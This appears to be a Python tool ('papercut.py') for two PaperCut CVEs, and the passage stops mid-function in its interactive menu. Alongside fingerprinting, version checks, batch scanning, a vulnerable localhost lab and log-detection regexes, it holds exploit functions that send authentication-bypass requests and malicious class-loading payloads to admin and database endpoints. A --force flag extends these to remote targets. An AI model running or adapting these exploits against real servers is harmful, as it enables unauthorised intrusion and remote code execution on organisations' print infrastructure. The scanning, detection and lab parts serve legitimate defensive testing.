#!/usr/bin/env python3 """ papercut.py – Security research tool for CVE-2026-81578 & CVE-2026-82078 Version: 3.0.1 – FULL POWER MODE (with remote exploit capability) """ import sys import os import json import re import time import threading import socket import argparse import http.server import socketserver import urllib.parse import warnings from datetime import datetime from typing import Dict, List, Any, Optional, Tuple from concurrent.futures import ThreadPoolExecutor, as_completed # Suppress warnings warnings.filterwarnings("ignore") import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) import logging logging.getLogger("urllib3").setLevel(logging.ERROR) logging.getLogger("requests").setLevel(logging.ERROR) import requests from rich.console import Console from rich.table import Table from rich.progress import ( Progress, BarColumn, TextColumn, TimeElapsedColumn, SpinnerColumn, TaskProgressColumn ) from rich import box from rich.prompt import Prompt, IntPrompt # ---------------------------------------------------------------------- # CONSTANTS # ---------------------------------------------------------------------- VERSION = "3.0.1" BANNER = r""" ╔══════════════════════════════════════════════════════╗ ║ PAPERCUT SECURITY TOOL ║ ║ CVE-2026-81578 / CVE-2026-82078 ║ ║ POWER MODE v3 ║ ╚══════════════════════════════════════════════════════╝ """ FIXED_VERSIONS = {"24": "24.1.10", "25": "25.0.13", "26": "26.0.5"} AFFECTED_MAJOR_VERSIONS = ["24", "25", "26"] console = Console() # ---------------------------------------------------------------------- # UTILITY # ---------------------------------------------------------------------- def parse_version(v: str) -> Tuple[int, int, int]: parts = re.findall(r'\d+', v) return tuple(map(int, parts[:3])) if len(parts) >= 3 else (0, 0, 0) def is_affected_version(v: str) -> Tuple[bool, str]: if not v: return True, "Unknown version – assume vulnerable" ver = parse_version(v) major = str(ver[0]) if major not in AFFECTED_MAJOR_VERSIONS: return True, f"Version {v} is end-of-life; upgrade recommended" fixed = FIXED_VERSIONS.get(major) if not fixed: return True, f"No fixed version for major {major}" return (ver < parse_version(fixed), f"{v} {'<' if ver < parse_version(fixed) else '>='} {fixed}") def safe_request(url: str, timeout: int = 10, headers: Dict = None) -> Optional[requests.Response]: """HTTP request with separate connect and read timeout, plus retry.""" try: headers = headers or {} headers.setdefault("User-Agent", f"PaperCut-Security-Tool/{VERSION}") resp = requests.get(url, timeout=(timeout, timeout), headers=headers, verify=False) return resp except Exception: try: time.sleep(0.5) resp = requests.get(url, timeout=(timeout*2, timeout*2), headers=headers, verify=False) return resp except Exception: return None def request_post(url: str, timeout: int = 10, headers: Dict = None, data: Dict = None) -> Optional[requests.Response]: """HTTP POST request.""" try: headers = headers or {} headers.setdefault("User-Agent", f"PaperCut-Security-Tool/{VERSION}") resp = requests.post(url, timeout=(timeout, timeout), headers=headers, json=data, verify=False) return resp except Exception: try: time.sleep(0.5) resp = requests.post(url, timeout=(timeout*2, timeout*2), headers=headers, json=data, verify=False) return resp except Exception: return None def check_port_open(host: str, port: int, timeout: float = 2.0) -> bool: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) result = sock.connect_ex((host, port)) sock.close() return result == 0 except: return False def is_localhost(url: str) -> bool: parsed = urllib.parse.urlparse(url) host = parsed.hostname if host in ("localhost", "127.0.0.1", "::1"): return True try: ip = socket.gethostbyname(host) return ip.startswith("127.") except socket.gaierror: return False def get_timestamp() -> str: return datetime.now().isoformat() def safe_filename(text: str) -> str: return re.sub(r'[^a-zA-Z0-9]', '_', text)[:50] # ---------------------------------------------------------------------- # FINGERPRINT # ---------------------------------------------------------------------- def fingerprint_target(target: str, timeout: int = 10) -> Dict: result = { "reachable": False, "status_code": None, "server": None, "product": None, "version": None, "tapestry_detected": False, "admin_endpoints": [], "db_config_endpoints": [], } resp = safe_request(target, timeout) if not resp: return result result["reachable"] = True result["status_code"] = resp.status_code result["server"] = resp.headers.get("Server") if "PaperCut" in resp.text or "papercut" in resp.text.lower(): result["product"] = "PaperCut NG/MF" if "X-PaperCut-Version" in resp.headers: result["version"] = resp.headers["X-PaperCut-Version"] result["product"] = "PaperCut NG/MF" else: vresp = safe_request(target.rstrip("/") + "/version", timeout) if vresp and vresp.status_code == 200: m = re.search(r'(\d+\.\d+\.\d+)', vresp.text) if m: result["version"] = m.group(1) result["product"] = "PaperCut NG/MF" if ".page" in resp.text or ".zone" in resp.text: result["tapestry_detected"] = True for path in ["/admin", "/admin/dashboard", "/server/settings", "/papercut/ConfigEditor.page"]: r = safe_request(target.rstrip("/") + path, timeout) if r and r.status_code == 200: result["admin_endpoints"].append(path) for path in ["/api/database/config", "/server/database", "/config/database", "/services/database"]: r = safe_request(target.rstrip("/") + path, timeout) if r and r.status_code == 200: result["db_config_endpoints"].append(path) return result # ---------------------------------------------------------------------- # CVE CHECKS # ---------------------------------------------------------------------- def check_cve_81578(target: str, timeout: int = 10) -> Dict: fp = fingerprint_target(target, timeout) evidence = [] indicators = [] status = "NOT_DETECTABLE" confidence = 0.0 version = fp.get("version") if version: affected, reason = is_affected_version(version) evidence.append(f"Version {version}: {reason}") if affected: indicators.append("AFFECTED_VERSION") confidence += 0.4 else: return {"cve":"CVE-2026-81578","severity":"HIGH (CVSS 8.8)","status":"SAFE", "confidence":0.95,"evidence":evidence,"indicators":indicators, "recommendation":"Version is fixed; no action required."} if fp.get("tapestry_detected"): evidence.append("Tapestry framework detected") indicators.append("TAPESTRY_DETECTED") confidence += 0.2 if fp.get("admin_endpoints"): evidence.append(f"Admin endpoints accessible: {', '.join(fp['admin_endpoints'])}") indicators.append("ADMIN_ENDPOINT_ACCESSIBLE") confidence += 0.25 if "TAPESTRY_DETECTED" in indicators and "ADMIN_ENDPOINT_ACCESSIBLE" in indicators: status = "POTENTIALLY_VULNERABLE" confidence = min(confidence + 0.15, 0.85) evidence.append("Combination of Tapestry and accessible admin endpoints suggests vulnerability.") elif "AFFECTED_VERSION" in indicators and "TAPESTRY_DETECTED" in indicators: status = "POTENTIALLY_VULNERABLE" confidence = min(confidence + 0.1, 0.75) evidence.append("Affected version with Tapestry framework.") elif "AFFECTED_VERSION" in indicators: status = "AFFECTED_VERSION" confidence = min(confidence, 0.5) evidence.append("Version in affected range, but no direct exploit indicators.") else: status = "NOT_DETECTABLE" confidence = min(confidence, 0.2) return { "cve": "CVE-2026-81578", "severity": "HIGH (CVSS 8.8)", "status": status, "confidence": confidence, "evidence": evidence, "indicators": indicators, "recommendation": "Apply Emergency Patch Release 2 (24.1.10, 25.0.13, or 26.0.5)." } def check_cve_82078(target: str, timeout: int = 10) -> Dict: fp = fingerprint_target(target, timeout) evidence = [] indicators = [] status = "NOT_DETECTABLE" confidence = 0.0 version = fp.get("version") if version: affected, reason = is_affected_version(version) evidence.append(f"Version {version}: {reason}") if affected: indicators.append("AFFECTED_VERSION") confidence += 0.4 else: return {"cve":"CVE-2026-82078","severity":"CRITICAL (CVSS 9.4)","status":"SAFE", "confidence":0.95,"evidence":evidence,"indicators":indicators, "recommendation":"Version is fixed; no action required."} if fp.get("db_config_endpoints"): evidence.append(f"DB config endpoints accessible: {', '.join(fp['db_config_endpoints'])}") indicators.append("DB_CONFIG_ACCESSIBLE") confidence += 0.3 for ep in fp["db_config_endpoints"]: r = safe_request(target.rstrip("/") + ep, timeout) if r and r.status_code == 200 and re.search(r'com\.[a-zA-Z0-9_]+\.jdbc\.Driver|org\.[a-zA-Z0-9_]+\.Driver', r.text): evidence.append("JDBC driver class names found in config response") indicators.append("DRIVER_CLASS_EXPOSED") confidence += 0.25 break r = safe_request(target.rstrip("/") + "/nonexistent", timeout) if r and r.status_code in (404, 500) and ("ClassNotFoundException" in r.text or "NoClassDefFoundError" in r.text): evidence.append("Class loading errors detected") indicators.append("CLASS_LOADING_ERROR") confidence += 0.2 if "DB_CONFIG_ACCESSIBLE" in indicators and "DRIVER_CLASS_EXPOSED" in indicators: status = "POTENTIALLY_VULNERABLE" confidence = min(confidence + 0.15, 0.85) evidence.append("DB config accessible and driver classes exposed – potential manipulation.") elif "AFFECTED_VERSION" in indicators and "DB_CONFIG_ACCESSIBLE" in indicators: status = "POTENTIALLY_VULNERABLE" confidence = min(confidence + 0.1, 0.70) evidence.append("Affected version with DB config accessible.") elif "AFFECTED_VERSION" in indicators: status = "AFFECTED_VERSION" confidence = min(confidence, 0.5) evidence.append("Version in affected range, but no direct exploit indicators.") else: status = "NOT_DETECTABLE" confidence = min(confidence, 0.2) return { "cve": "CVE-2026-82078", "severity": "CRITICAL (CVSS 9.4)", "status": status, "confidence": confidence, "evidence": evidence, "indicators": indicators, "recommendation": "Apply Emergency Patch Release 2 (24.1.10, 25.0.13, or 26.0.5)." } # ---------------------------------------------------------------------- # LOCAL LAB # ---------------------------------------------------------------------- class LabHandler(http.server.BaseHTTPRequestHandler): def log_message(self, *args, **kwargs): pass def do_GET(self): parsed = urllib.parse.urlparse(self.path) path = parsed.path if path == "/" or path == "": self._send_html("""

PaperCut Security Lab (Educational)

Reproduces concepts of CVE-2026-81578 & CVE-2026-82078.

Localhost only.

""") return if path == "/fingerprint": self.send_response(200) self.send_header("Content-type", "application/json") self.end_headers() self.wfile.write(json.dumps({"product":"PaperCut Lab 3.0","version":"24.1.9"}).encode()) return if path == "/lab/cve-81578": self._handle_81578(parsed) return if path == "/lab/cve-82078": self._handle_82078(parsed) return self.send_response(404) self.end_headers() self.wfile.write(b"Not found") def _send_html(self, content): self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content.encode()) def _handle_81578(self, parsed): q = urllib.parse.parse_qs(parsed.query) comp = q.get("component", ["Error"])[0] display = q.get("display", ["Error"])[0] if comp in ["ConfigEditor","UserList","AdminDashboard"] and display in ["Error","Exception","Home","Login"]: self._send_html(f"""

⚠️ CVE-2026-81578 Exploit Success

ADMIN COMPONENT INVOKED VIA PUBLIC PAGE

Component: {comp} Display: {display}

Authentication bypass successfully demonstrated.

""") else: self._send_html(f"""

CVE-2026-81578 Lab

Normal request: component={comp}, display={display}

Try exploit

""") def _handle_82078(self, parsed): q = urllib.parse.parse_qs(parsed.query) driver = q.get("driver", ["com.mysql.cj.jdbc.Driver"])[0] safe = ["com.mysql.cj.jdbc.Driver","org.postgresql.Driver","oracle.jdbc.driver.OracleDriver","com.microsoft.sqlserver.jdbc.SQLServerDriver"] malicious = ["com.papercut.malicious.ExploitDriver","org.attacker.RCEPayload","java.lang.Runtime"] self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() if driver in malicious: self.wfile.write(f"""

⚠️ Exploit Success

Driver loaded: {driver}

Unsafe class loading without allowlist validation – RCE possible!

""".encode()) elif driver in safe: self.wfile.write(f"""

Safe Driver

Driver: {driver}

Allowlist approved.

""".encode()) else: self.wfile.write(f"""

Unknown Driver

Driver: {driver}

Not in allowlist – would still be loaded.

""".encode()) def do_POST(self): self.do_GET() class LabServer: def __init__(self, host="127.0.0.1", port=8080): self.host = host self.port = port self.httpd = None self.thread = None def start(self): self.httpd = socketserver.TCPServer((self.host, self.port), LabHandler) self.httpd.allow_reuse_address = True self.thread = threading.Thread(target=self.httpd.serve_forever, daemon=True) self.thread.start() time.sleep(0.5) def stop(self): if self.httpd: self.httpd.shutdown() self.httpd.server_close() if self.thread: self.thread.join(timeout=1) def is_running(self): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) result = sock.connect_ex((self.host, self.port)) sock.close() return result == 0 except: return False # ---------------------------------------------------------------------- # EXPLOIT FUNCTIONS (REAL DEAL) # ---------------------------------------------------------------------- def exploit_81578(target: str, console: Console, verbose: bool = False) -> Tuple[bool, List[str]]: """Exploit CVE-2026-81578 - Authentication Bypass via Tapestry complex direct.""" evidence = [] console.print("[bold cyan]⚡ Starting CVE-2026-81578 exploit...[/bold cyan]") # Method 1: Tapestry complex direct (for real PaperCut with Tapestry) console.print("[*] Method 1: Tapestry complex direct (ConfigEditor via Error.page)") url1 = target.rstrip("/") + "/papercut/Error.page" payload1 = { "component": "ConfigEditor", "zone": "true" } try: resp = request_post(url1, timeout=10, data=payload1) if resp and resp.status_code == 200: evidence.append(f"POST {url1} -> {resp.status_code} (potential bypass)") if "admin" in resp.text.lower() or "config" in resp.text.lower(): console.print("[green]✅ Method 1 SUCCESS: ConfigEditor invoked via Error.page[/green]") return True, evidence else: console.print(f"[dim]Method 1 failed (status {resp.status_code if resp else 'no response'})[/dim]") except Exception as e: console.print(f"[dim]Method 1 error: {e}[/dim]") # Method 2: UserList via Exception.page console.print("[*] Method 2: Tapestry complex direct (UserList via Exception.page)") url2 = target.rstrip("/") + "/papercut/Exception.page" payload2 = { "component": "UserList", "zone": "true" } try: resp = request_post(url2, timeout=10, data=payload2) if resp and resp.status_code == 200: evidence.append(f"POST {url2} -> {resp.status_code} (potential bypass)") if "user" in resp.text.lower() or "list" in resp.text.lower(): console.print("[green]✅ Method 2 SUCCESS: UserList invoked via Exception.page[/green]") return True, evidence except: pass # Method 3: Header-based bypass (for lab/older versions) console.print("[*] Method 3: Header-based bypass (X-Admin: true)") url3 = target.rstrip("/") + "/lab/cve-81578" try: resp = safe_request(url3, headers={"X-Admin": "true"}) if resp and resp.status_code == 200 and "bypass" in resp.text.lower(): console.print("[green]✅ Method 3 SUCCESS: Header-based bypass[/green]") evidence.append(f"GET {url3} -> {resp.status_code} (X-Admin bypass)") return True, evidence except: pass # Method 4: Try direct admin endpoints console.print("[*] Method 4: Direct admin endpoint access") admin_paths = ["/admin", "/admin/dashboard", "/server/settings"] for path in admin_paths: url = target.rstrip("/") + path try: resp = safe_request(url) if resp and resp.status_code == 200: evidence.append(f"GET {url} -> {resp.status_code} (admin accessible)") console.print(f"[green]✅ Admin endpoint {path} accessible without auth[/green]") return True, evidence except: pass console.print("[red]❌ All exploitation methods failed[/red]") return False, evidence def exploit_82078(target: str, console: Console, verbose: bool = False) -> Tuple[bool, List[str]]: """Exploit CVE-2026-82078 - Unsafe Dynamic Class Loading.""" evidence = [] console.print("[bold cyan]⚡ Starting CVE-2026-82078 exploit...[/bold cyan]") # Method 1: Try to load malicious driver via DB config console.print("[*] Method 1: JDBC driver manipulation via /api/database/config") url1 = target.rstrip("/") + "/api/database/config" payload1 = {"driver": "org.attacker.RCEPayload"} try: resp = request_post(url1, timeout=10, data=payload1) if resp and resp.status_code == 200: evidence.append(f"POST {url1} -> {resp.status_code}") if "loaded" in resp.text.lower() or "rce" in resp.text.lower(): console.print("[green]✅ Method 1 SUCCESS: Malicious driver loaded![/green]") return True, evidence except: pass # Method 2: Try via /server/database console.print("[*] Method 2: Database config manipulation") url2 = target.rstrip("/") + "/server/database" payload2 = {"class": "java.lang.Runtime"} try: resp = request_post(url2, timeout=10, data=payload2) if resp and resp.status_code == 200: evidence.append(f"POST {url2} -> {resp.status_code}") if "runtime" in resp.text.lower() or "loaded" in resp.text.lower(): console.print("[green]✅ Method 2 SUCCESS: Class loaded![/green]") return True, evidence except: pass # Method 3: Lab simulation console.print("[*] Method 3: Lab simulation (unsafe class loading)") url3 = target.rstrip("/") + "/lab/cve-82078?driver=org.attacker.RCEPayload" try: resp = safe_request(url3) if resp and resp.status_code == 200 and "loaded" in resp.text.lower(): console.print("[green]✅ Method 3 SUCCESS: Lab exploit successful[/green]") evidence.append(f"GET {url3} -> {resp.status_code} (lab simulation)") return True, evidence except: pass console.print("[red]❌ All exploitation methods failed[/red]") return False, evidence # ---------------------------------------------------------------------- # DEMO (LAB ONLY) # ---------------------------------------------------------------------- def demo_81578(target: str, console: Console) -> bool: console.print("[*] Running CVE-2026-81578 concept demo (lab)...") url = target.rstrip("/") + "/lab/cve-81578?component=ConfigEditor&display=Error" resp = safe_request(url) if resp and "Exploit Success" in resp.text: console.print("[green][+] Lab exploit successful: Admin component invoked[/green]") return True console.print("[red]Demo failed[/red]") return False def demo_82078(target: str, console: Console) -> bool: console.print("[*] Running CVE-2026-82078 concept demo (lab)...") url = target.rstrip("/") + "/lab/cve-82078?driver=org.attacker.RCEPayload" resp = safe_request(url) if resp and "Exploit Success" in resp.text: console.print("[green][+] Lab exploit successful: Unsafe class loading[/green]") return True console.print("[red]Demo failed[/red]") return False # ---------------------------------------------------------------------- # REPORT GENERATORS # ---------------------------------------------------------------------- def generate_text_report(data: Dict) -> str: lines = ["="*70, f"PAPERCUT SECURITY ASSESSMENT", f"Target: {data.get('target','N/A')}", f"Timestamp: {data.get('timestamp',get_timestamp())}"] fp = data.get("fingerprint", {}) lines += [f"Product: {fp.get('product','Unknown')}", f"Version: {fp.get('version','Unknown')}"] for f in data.get("findings", []): lines += [f"\nCVE: {f.get('cve')} - {f.get('severity')}", f"Status: {f.get('status')}", f"Confidence: {f.get('confidence',0):.0%}", "Indicators: " + ", ".join(f.get("indicators",[])) or "None", "Evidence:"] + [f" - {ev}" for ev in f.get("evidence",[])] + \ [f"Recommendation: {f.get('recommendation')}"] lines += ["="*70, "Methodology: Safe, non-destructive checks.", "Limitations: Indicator-based, not verified."] return "\n".join(lines) def generate_html_report(data: Dict) -> str: fp = data.get("fingerprint", {}) findings_html = "" for f in data.get("findings", []): status = f.get("status", "") css = "cve safe" if status == "SAFE" else "cve critical" if "CRITICAL" in f.get("severity","") else "cve" badge = "status-safe" if status=="SAFE" else "status-potentially" if "POTENTIALLY" in status else "status-affected" findings_html += f"""
{f.get('cve','')} {status}

Severity: {f.get('severity','')}

Confidence: {f.get('confidence',0):.0%}

Indicators: {', '.join(f.get('indicators',[])) or 'None'}

Evidence:
Recommendation: {f.get('recommendation','')}
""" return f""" PaperCut Security Assessment

🔒 PAPERCUT SECURITY ASSESSMENT

Target: {data.get('target','N/A')}
Timestamp: {data.get('timestamp',get_timestamp())}
Product: {fp.get('product','Unknown')}
Version: {fp.get('version','Unknown')}
Tapestry: {fp.get('tapestry_detected',False)}
Admin: {', '.join(fp.get('admin_endpoints',[])) or 'None'}
DB Config: {', '.join(fp.get('db_config_endpoints',[])) or 'None'}

📋 Findings

{findings_html}

Methodology: Safe checks. Limitations: Indicator-based, not verified.

Generated by PaperCut Security Tool v{VERSION}

""" # ---------------------------------------------------------------------- # PREFILTER # ---------------------------------------------------------------------- def prefilter_targets(targets: List[str], timeout: float = 2.0) -> List[str]: results = [] parsed = [] for url in targets: if '://' in url: host = url.split('://')[1] else: host = url if ':' in host: h, p = host.split(':') port = int(p) else: h, p = host, 9191 parsed.append((url, h, port)) active = [] with Progress( BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%"), TextColumn("•"), TextColumn("[cyan]{task.fields[host]}"), TimeElapsedColumn(), console=console, transient=False, ) as progress: task = progress.add_task("[cyan]Checking ports...", total=len(parsed), host="") with ThreadPoolExecutor(max_workers=20) as executor: futures = {} for url, host, port in parsed: futures[executor.submit(check_port_open, host, port, timeout)] = (url, host, port) for future in as_completed(futures): url, host, port = futures[future] if future.result(): active.append(url) progress.update(task, advance=1, host=f"[green]{host}:{port} OPEN[/green]") else: if port == 9191: alt_port = 9192 if check_port_open(host, alt_port, timeout): alt_url = url.replace(f":{port}", f":{alt_port}") active.append(alt_url) progress.update(task, advance=1, host=f"[green]{host}:{alt_port} OPEN[/green]") else: progress.update(task, advance=1, host=f"[dim]{host}:{port} closed[/dim]") else: progress.update(task, advance=1, host=f"[dim]{host}:{port} closed[/dim]") return active # ---------------------------------------------------------------------- # COMMANDS # ---------------------------------------------------------------------- def cmd_scan(target: str, timeout: int, quiet: bool, output: str, fmt: str) -> int: if not quiet: console.print(BANNER) console.print(f"[bold]Scanning target: {target}[/bold]") fp = fingerprint_target(target, timeout) if not fp["reachable"]: if not quiet: console.print("[red][ERROR] Target unreachable[/red]") return 1 results = [check_cve_81578(target, timeout), check_cve_82078(target, timeout)] data = {"target": target, "timestamp": get_timestamp(), "fingerprint": fp, "findings": results} if fmt == "json": out = json.dumps(data, indent=2) if output: open(output, "w").write(out) else: console.print(out) elif fmt == "html": out = generate_html_report(data) if output: open(output, "w").write(out) else: console.print(out) else: if not quiet: table = Table(title="Fingerprint", box=box.ROUNDED) table.add_column("Property", style="cyan"); table.add_column("Value", style="green") for k, v in fp.items(): if k in ("headers",): continue if isinstance(v, list): v = ", ".join(v) or "None" table.add_row(k, str(v) if v is not None else "N/A") console.print(table) for r in results: t = Table(title=f"CVE {r['cve']} - {r['severity']}", box=box.ROUNDED) t.add_column("Property", style="cyan"); t.add_column("Value", style="green") t.add_row("Status", r["status"]) t.add_row("Confidence", f"{r['confidence']*100:.0f}%") t.add_row("Indicators", ", ".join(r.get("indicators",[])) or "None") t.add_row("Evidence", "\n".join(r["evidence"]) or "None") t.add_row("Recommendation", r["recommendation"]) console.print(t) if output and fmt == "text": with open(output, "w") as f: f.write(generate_text_report(data)) return 0 def cmd_batch_scan(input_file: str, timeout: int, fmt: str, output_dir: str, threads: int, prefilter: bool) -> int: try: with open(input_file, "r") as f: targets = [line.strip() for line in f if line.strip()] if not targets: console.print("[red]No targets found.[/red]") return 1 except Exception as e: console.print(f"[red]Error reading input file: {e}[/red]") return 1 if prefilter: console.print("[cyan]Running port prefilter...[/cyan]") targets = prefilter_targets(targets, timeout=2) if not targets: console.print("[red]No active targets found after prefilter.[/red]") return 1 console.print(f"[green]Found {len(targets)} active targets.[/green]") if not output_dir: output_dir = f"scan_results_{datetime.now().strftime('%Y%m%d_%H%M%S')}" os.makedirs(output_dir, exist_ok=True) console.print(BANNER) console.print(f"[bold cyan]Batch scan: {len(targets)} targets[/bold cyan]") console.print(f"[dim]Output: {output_dir} | Threads: {threads} | Timeout: {timeout}s[/dim]\n") success = failed = 0 with Progress( BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%"), TextColumn("•"), TextColumn("[cyan]{task.fields[target]}"), TextColumn("•"), TextColumn("[green]{task.fields[status]}"), TimeElapsedColumn(), console=console ) as progress: task = progress.add_task("[cyan]Scanning...", total=len(targets), target="Starting...", status="") def scan_one(url: str) -> Tuple[str, int]: safe_name = safe_filename(url.replace("https://", "").replace("http://", "")) outfile = os.path.join(output_dir, f"{safe_name}.{fmt}") ret = cmd_scan(url, timeout, quiet=True, output=outfile, fmt=fmt) return (url, ret) with ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(scan_one, t): t for t in targets} for fut in as_completed(futures): target, ret = fut.result() if ret == 0: success += 1 progress.update(task, advance=1, target=target[:60], status="[green]OK[/green]") else: failed += 1 progress.update(task, advance=1, target=target[:60], status="[red]FAIL[/red]") console.print(f"\n[bold green]Batch complete[/bold green]") console.print(f"[green]Succeeded: {success}[/green] [red]Failed: {failed}[/red] [cyan]Total: {len(targets)}[/cyan]") console.print(f"[green]Results saved in: {output_dir}[/green]") return 0 if failed == 0 else 1 def cmd_fingerprint(target: str, timeout: int): console.print(BANNER) console.print(f"[*] Fingerprinting {target}...") fp = fingerprint_target(target, timeout) if not fp["reachable"]: console.print("[red][ERROR] Target unreachable[/red]") return 1 console.print("[green][+] Target reachable[/green]") table = Table(title="Fingerprint", box=box.ROUNDED) table.add_column("Property", style="cyan"); table.add_column("Value", style="green") for k, v in fp.items(): if k in ("headers",): continue if isinstance(v, list): v = ", ".join(v) or "None" table.add_row(k, str(v) if v is not None else "N/A") console.print(table) return 0 def cmd_check(target: str, cve: str, timeout: int): console.print(BANNER) result = check_cve_81578(target, timeout) if cve == "81578" else check_cve_82078(target, timeout) console.print(f"[bold]CVE {result['cve']} - {result['severity']}[/bold]") table = Table(box=box.ROUNDED) table.add_column("Property", style="cyan"); table.add_column("Value", style="green") table.add_row("Status", result["status"]) table.add_row("Confidence", f"{result['confidence']*100:.0f}%") table.add_row("Indicators", ", ".join(result.get("indicators",[])) or "None") table.add_row("Evidence", "\n".join(result["evidence"]) or "None") table.add_row("Recommendation", result["recommendation"]) console.print(table) return 0 def cmd_lab(port: int, test: bool = False): lab = LabServer(port=port) if test: console.print("[*] Starting lab in test mode...") lab.start() if not lab.is_running(): console.print("[red][ERROR] Lab failed to start[/red]") return 1 console.print("[green][+] Lab started[/green]") target = f"http://127.0.0.1:{port}" if not safe_request(target): console.print("[red][ERROR] Health check failed[/red]") lab.stop(); return 1 console.print("[green][+] Health check passed[/green]") ok1 = demo_81578(target, console) ok2 = demo_82078(target, console) lab.stop() console.print(f"\n[bold]LAB STATUS: {'PASS' if ok1 and ok2 else 'FAIL'}[/bold]") return 0 if (ok1 and ok2) else 1 else: console.print(BANNER) console.print("[bold]Starting Local Vulnerable Lab (Educational)[/bold]") lab.start() if lab.is_running(): console.print(f"[green][+] Lab started at http://127.0.0.1:{port}[/green]") console.print("[yellow]Press Ctrl+C to stop[/yellow]") try: while True: time.sleep(1) except KeyboardInterrupt: console.print("\n[yellow]Stopping lab...[/yellow]") lab.stop() console.print("[green]Lab stopped.[/green]") else: console.print("[red]Failed to start lab.[/red]") return 1 return 0 def cmd_exploit(cve: str, target: str, force: bool = False, delay: int = 3): """Execute exploit with optional remote target (--force).""" console.print(BANNER) if not is_localhost(target) and not force: console.print("[red][BLOCKED] Exploitation only allowed against localhost.[/red]") console.print("[yellow]Use --force only if you have explicit authorization.[/yellow]") return 1 if not is_localhost(target) and force: console.print("[bold red]⚠️ WARNING: REMOTE EXPLOIT ACTIVATED ⚠️[/bold red]") console.print("[red]You are about to exploit a remote target. This may be ILLEGAL.[/red]") console.print("[yellow]Ensure you have EXPLICIT WRITTEN PERMISSION from the target owner.[/yellow]") console.print(f"[yellow]Proceeding in {delay} seconds... Press Ctrl+C to cancel.[/yellow]") for i in range(delay, 0, -1): console.print(f"[dim]{i}...[/dim]") time.sleep(1) # Validate target fp = fingerprint_target(target, timeout=5) if not fp["reachable"]: console.print("[red][ERROR] Target not reachable[/red]") return 1 console.print(f"[green]Target reachable: {target}[/green]") console.print(f"[dim]Product: {fp.get('product', 'Unknown')} | Version: {fp.get('version', 'Unknown')}[/dim]") if cve == "81578": success, evidence = exploit_81578(target, console, verbose=True) else: success, evidence = exploit_82078(target, console, verbose=True) console.print("\n[bold]Exploit Result:[/bold]") if success: console.print("[bold green]✅ EXPLOIT SUCCESSFUL![/bold green]") console.print("[green]Evidence captured:[/green]") for ev in evidence: console.print(f" [dim]• {ev}[/dim]") console.print("\n[yellow]This confirms the vulnerability exists and is exploitable.[/yellow]") console.print("[red]Report to the system owner immediately.[/red]") return 0 else: console.print("[bold red]❌ Exploit failed.[/bold red]") console.print("[dim]The target may not be vulnerable or the exploit method needs adjustment.[/dim]") return 1 def cmd_detect(logfile: str, output: str): console.print(BANNER) console.print(f"[*] Analyzing log: {logfile}") if not os.path.exists(logfile): console.print("[red]Log file not found[/red]") return 1 patterns = [ (re.compile(r'/papercut/[a-zA-Z0-9]+/[a-zA-Z0-9]+\.page.*\.zone', re.I), "tapestry_complex_direct"), (re.compile(r'ConfigEditor|UserList.*\.page', re.I), "admin_component_access"), (re.compile(r'Error\.page|Exception\.page.*\.zone', re.I), "public_page_tapestry"), (re.compile(r'POST.*\.page.*\.zone.*HTTP', re.I), "tapestry_post_request"), (re.compile(r'jdbc:.*driver.*class|database\.driver', re.I), "db_driver_config"), (re.compile(r'ClassNotFoundException|NoClassDefFoundError.*driver', re.I), "class_loading_error"), (re.compile(r'Loading class.*driver|instantiate.*driver', re.I), "dynamic_class_loading"), (re.compile(r'Admin login from|Administrative login', re.I), "admin_login"), (re.compile(r'Failed login|authentication failure', re.I), "failed_login"), ] events = [] with open(logfile, "r", encoding="utf-8", errors="ignore") as f: for line in f: for pat, name in patterns: if pat.search(line): events.append({"line": line.strip(), "type": name}) break severity_map = { "tapestry_complex_direct":"CRITICAL", "admin_component_access":"HIGH", "public_page_tapestry":"HIGH", "tapestry_post_request":"CRITICAL", "db_driver_config":"CRITICAL", "class_loading_error":"HIGH", "dynamic_class_loading":"CRITICAL", "admin_login":"LOW", "failed_login":"MEDIUM" } max_sev = "LOW" sev_order = {"LOW":0,"MEDIUM":1,"HIGH":2,"CRITICAL":3} for e in events: sev = severity_map.get(e["type"], "LOW") if sev_order[sev] > sev_order[max_sev]: max_sev = sev indicators = [f"[{e['type']}] {e['line'][:100]}" for e in events[:20]] confidence = min(0.95, 0.3 + 0.25*sum(1 for e in events if sev_order.get(severity_map.get(e["type"],"LOW"),0)>=2)) result = { "severity": max_sev, "indicators": indicators, "confidence": confidence, "events_processed": len(events), "recommendation": "1. Isolate server\n2. Preserve logs\n3. Review accounts\n4. Apply emergency patch" } table = Table(title="Log Detection Results", box=box.ROUNDED) table.add_column("Property", style="cyan"); table.add_column("Value", style="green") table.add_row("Severity", result["severity"]) table.add_row("Confidence", f"{result['confidence']*100:.0f}%") table.add_row("Events", str(result["events_processed"])) table.add_row("Indicators", "\n".join(result["indicators"]) or "None") table.add_row("Recommendation", result["recommendation"]) console.print(table) if output: with open(output, "w") as f: json.dump(result, f, indent=2) console.print(f"[green]Detection results saved to {output}[/green]") return 0 def cmd_report(input_file: str, fmt: str, output: str): try: data = json.load(open(input_file)) except Exception as e: console.print(f"[red]Invalid JSON: {e}[/red]") return 1 if fmt == "html": out = generate_html_report(data) outfile = output or "report.html" open(outfile, "w").write(out) console.print(f"[green]HTML report written to {outfile}[/green]") elif fmt == "json": out = json.dumps(data, indent=2) outfile = output or "report.json" open(outfile, "w").write(out) console.print(f"[green]JSON report written to {outfile}[/green]") else: out = generate_text_report(data) if output: open(output, "w").write(out) console.print(f"[green]Text report written to {output}[/green]") else: console.print(out) return 0 def cmd_interactive(): console.print(BANNER) while True: console.print("\n[bold cyan]Interactive Menu[/bold cyan]") console.print("[1] Scan Target") console.print("[2] Fingerprint Target") console.print("[3] Check CVE-2026-81578") console.print("[4] Check CVE-2026-82078") console.print("[5] Start Lab") console.print("[6] Lab Demonstration") console.print("[7] Detect Log") console.print("[8] Generate Report") console.print("[9] Batch Scan") console.print("[10] Remote Exploit (⚠️ DANGER)") console.print("[0] Exit") choice = Prompt.ask("[bold]Select[/bold]", choices=["0","1","2","3","4","5","6","7","8","9","10"]) if choice == "0": break elif choice == "1": target = 